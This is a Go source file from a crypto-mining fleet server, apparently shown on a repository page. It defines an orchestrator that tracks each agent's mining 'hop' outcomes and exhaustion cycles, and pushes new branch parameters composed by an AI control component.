Files
AetherForge/server/internal/mining/contingency_orchestrator.go
AetherForge 6dd5cbd461
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add onion contingency miner tree with orchestrator and Seer telemetry.
Single-host branch runner complements fallback chain under Fleet AI Control: persona ghost forks, onion_miner_log hops, server exhaustion splice from graft mining genome, Crucible depth badge, and hospice retire after max cycles.
2026-06-07 09:29:26 -07:00

209 lines
5.5 KiB
Go

package mining
import (
"encoding/json"
"sync"
"time"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/strategy"
)
// AgentContingencyState tracks one host's contingency onion tree on the server.
type AgentContingencyState struct {
AgentID string `json:"agent_id"`
Depth int `json:"contingency_depth"`
FrozenMethod string `json:"frozen_method,omitempty"`
FrozenWinner string `json:"frozen_winner,omitempty"`
ExhaustCycles int `json:"exhaust_cycles"`
HospiceRetired bool `json:"hospice_retired"`
LastHop OnionHop `json:"last_hop,omitempty"`
UpdatedAt time.Time `json:"updated_at"`
}
// OnionHop mirrors agent onion_miner_log hop payload.
type OnionHop struct {
HopIndex int `json:"hop_index"`
BranchID string `json:"branch_id,omitempty"`
Persona string `json:"persona,omitempty"`
Method string `json:"method"`
Outcome string `json:"outcome"`
Hashrate float64 `json:"hashrate"`
IsGhost bool `json:"is_ghost,omitempty"`
Timestamp string `json:"ts"`
Detail string `json:"detail,omitempty"`
Depth int `json:"contingency_depth,omitempty"`
Exhausted bool `json:"exhausted,omitempty"`
}
// BranchParamsPush is sent to agent after orchestrator advances or court composes params.
type BranchParamsPush struct {
BranchOrder []string `json:"branch_order,omitempty"`
Persona string `json:"persona,omitempty"`
SkipMethods []string `json:"skip_methods,omitempty"`
ForceMethod string `json:"force_method,omitempty"`
Reason string `json:"reason,omitempty"`
}
// OrchestratorDeps wires court/AI branch composition and Seer feed.
type OrchestratorDeps struct {
AIControl bool
Persona string
GraftFor func(agentID string) (*strategy.GraftPolicy, bool)
OnSeer func(agentID string, payload map[string]interface{})
OnPush func(agentID string, params BranchParamsPush) error
}
// ContingencyOrchestrator spawns next branches when ai_control_enabled.
type ContingencyOrchestrator struct {
mu sync.Mutex
states map[string]*AgentContingencyState
deps OrchestratorDeps
}
func NewContingencyOrchestrator(deps OrchestratorDeps) *ContingencyOrchestrator {
return &ContingencyOrchestrator{
states: make(map[string]*AgentContingencyState),
deps: deps,
}
}
func (o *ContingencyOrchestrator) Enabled() bool {
return o != nil && o.deps.AIControl
}
// ObserveHop processes one onion_miner_log hop from an agent.
func (o *ContingencyOrchestrator) ObserveHop(agentID string, hop OnionHop) (BranchParamsPush, bool) {
if o == nil || !o.Enabled() || agentID == "" {
return BranchParamsPush{}, false
}
o.mu.Lock()
st, ok := o.states[agentID]
if !ok {
st = &AgentContingencyState{AgentID: agentID}
o.states[agentID] = st
}
st.LastHop = hop
if hop.Depth > 0 {
st.Depth = hop.Depth
} else if hop.HopIndex > 0 {
st.Depth = hop.HopIndex
}
st.UpdatedAt = time.Now().UTC()
if hop.Outcome == "strain_retired" {
st.HospiceRetired = true
}
if hop.Outcome == "won" || hop.Outcome == "ghost_won" {
st.FrozenMethod = hop.Method
st.FrozenWinner = hop.BranchID
}
if hop.Exhausted {
st.ExhaustCycles++
}
exhausted := hop.Exhausted || hop.Outcome == "exhausted"
hospice := st.HospiceRetired
cycles := st.ExhaustCycles
frozen := st.FrozenMethod
depth := st.Depth
deps := o.deps
o.mu.Unlock()
if frozen != "" && (hop.Outcome == "won" || hop.Outcome == "ghost_won") {
return BranchParamsPush{}, false
}
if !exhausted || hospice {
return BranchParamsPush{}, false
}
var graft *strategy.GraftPolicy
if deps.GraftFor != nil {
if g, ok := deps.GraftFor(agentID); ok {
graft = g
}
}
raw := fleetai.ContingencyBranchParamsFromCourt(deps.Persona, "contingency orchestrator: exhaustion cycle "+itoa(cycles), graft)
push := BranchParamsPush{
BranchOrder: toStringSlice(raw["branch_order"]),
Persona: strVal(raw["persona"]),
ForceMethod: strVal(raw["force_method"]),
Reason: strVal(raw["reason"]),
}
if deps.OnSeer != nil {
deps.OnSeer(agentID, map[string]interface{}{
"event": "contingency_exhaustion",
"exhaust_cycles": cycles,
"branch_params": push,
"hop": hop,
"contingency_depth": depth,
})
}
return push, true
}
// State returns the latest contingency snapshot for an agent.
func (o *ContingencyOrchestrator) State(agentID string) (AgentContingencyState, bool) {
if o == nil {
return AgentContingencyState{}, false
}
o.mu.Lock()
defer o.mu.Unlock()
st, ok := o.states[agentID]
if !ok {
return AgentContingencyState{}, false
}
out := *st
return out, true
}
// Depth returns contingency depth for Crucible badge.
func (o *ContingencyOrchestrator) Depth(agentID string) int {
st, ok := o.State(agentID)
if !ok {
return 0
}
return st.Depth
}
// ParseOnionHop unmarshals agent onion_miner_log payload.
func ParseOnionHop(raw json.RawMessage) (OnionHop, error) {
var hop OnionHop
err := json.Unmarshal(raw, &hop)
return hop, err
}
func toStringSlice(v interface{}) []string {
switch t := v.(type) {
case []string:
return append([]string(nil), t...)
case []interface{}:
out := make([]string, 0, len(t))
for _, x := range t {
if s, ok := x.(string); ok && s != "" {
out = append(out, s)
}
}
return out
default:
return nil
}
}
func strVal(v interface{}) string {
s, _ := v.(string)
return s
}
func itoa(n int) string {
if n == 0 {
return "0"
}
buf := [20]byte{}
i := len(buf)
for n > 0 {
i--
buf[i] = byte('0' + n%10)
n /= 10
}
return string(buf[i:])
}